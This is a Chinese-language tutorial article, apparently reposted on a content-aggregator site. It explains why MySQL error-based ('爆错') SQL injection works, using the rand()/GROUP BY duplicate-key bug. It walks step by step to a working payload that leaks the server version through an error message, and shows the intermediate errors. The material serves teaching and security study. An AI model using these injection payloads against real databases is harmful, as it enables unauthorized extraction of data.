最新文章专题视频专题问答1问答10问答100问答1000问答2000关键字专题1关键字专题50关键字专题500关键字专题1500TAG最新视频文章推荐1 推荐3 推荐5 推荐7 推荐9 推荐11 推荐13 推荐15 推荐17 推荐19 推荐21 推荐23 推荐25 推荐27 推荐29 推荐31 推荐33 推荐35 推荐37视频文章20视频文章30视频文章40视频文章50视频文章60 视频文章70视频文章80视频文章90视频文章100视频文章120视频文章140 视频2关键字专题关键字专题tag2tag3文章专题文章专题2文章索引1文章索引2文章索引3文章索引4文章索引5123456789101112131415文章专题3
当前位置: 首页 - 科技 - 知识百科 - 正文

MYSQL高级爆错注入原理_MySQL

来源:动视网 责编:小采 时间:2020-11-09 19:18:03
文档

MYSQL高级爆错注入原理_MySQL

MYSQL高级爆错注入原理_MySQL:国内只有一大堆高级爆错的利用代码 没人分析原因 这个是去官网查资料后分析给出的。这里主要用了mysql的一个BUG :http://bugs.mysql.com/bug.phpid=8652grouping on certain parts of the result from rand, causes a
推荐度:
导读MYSQL高级爆错注入原理_MySQL:国内只有一大堆高级爆错的利用代码 没人分析原因 这个是去官网查资料后分析给出的。这里主要用了mysql的一个BUG :http://bugs.mysql.com/bug.phpid=8652grouping on certain parts of the result from rand, causes a


国内只有一大堆高级爆错的利用代码 没人分析原因 这个是去官网查资料后分析给出的。

这里主要用了mysql的一个BUG :http://bugs.mysql.com/bug.php?id=8652

grouping on certain parts of the result from rand, causes a duplicate key error.重现过程
use mysql;create table r1 (a int); insert into r1 values (1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2);select left(rand(),3),a from r1 group by 1;select left(rand(),3),a, count(*) from r1 group by 1;select round(rand(1),1),a, count(*) from r1 group by 1;

于是便可以这样拿来爆错注入了。

select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x;

尝试拿来实战

select * from user where user=’root’ and (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x);

提示错误 选择的列应该为一个。那么。我们换一下

select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x));
1248 (42000): Every derived table must have its own alias

提示多表查询要有别名 那好办

select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x)a);

或者

select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x) as lusiyu);

成功爆粗注入了

91ri.org:个人认为这篇:《双查询注入》中关于mysql爆错注入介绍的更为详细,推荐一下。

文档

MYSQL高级爆错注入原理_MySQL

MYSQL高级爆错注入原理_MySQL:国内只有一大堆高级爆错的利用代码 没人分析原因 这个是去官网查资料后分析给出的。这里主要用了mysql的一个BUG :http://bugs.mysql.com/bug.phpid=8652grouping on certain parts of the result from rand, causes a
推荐度:
标签: 资料 mysql 注入
  • 热门焦点

最新推荐

猜你喜欢

热门推荐

专题
Top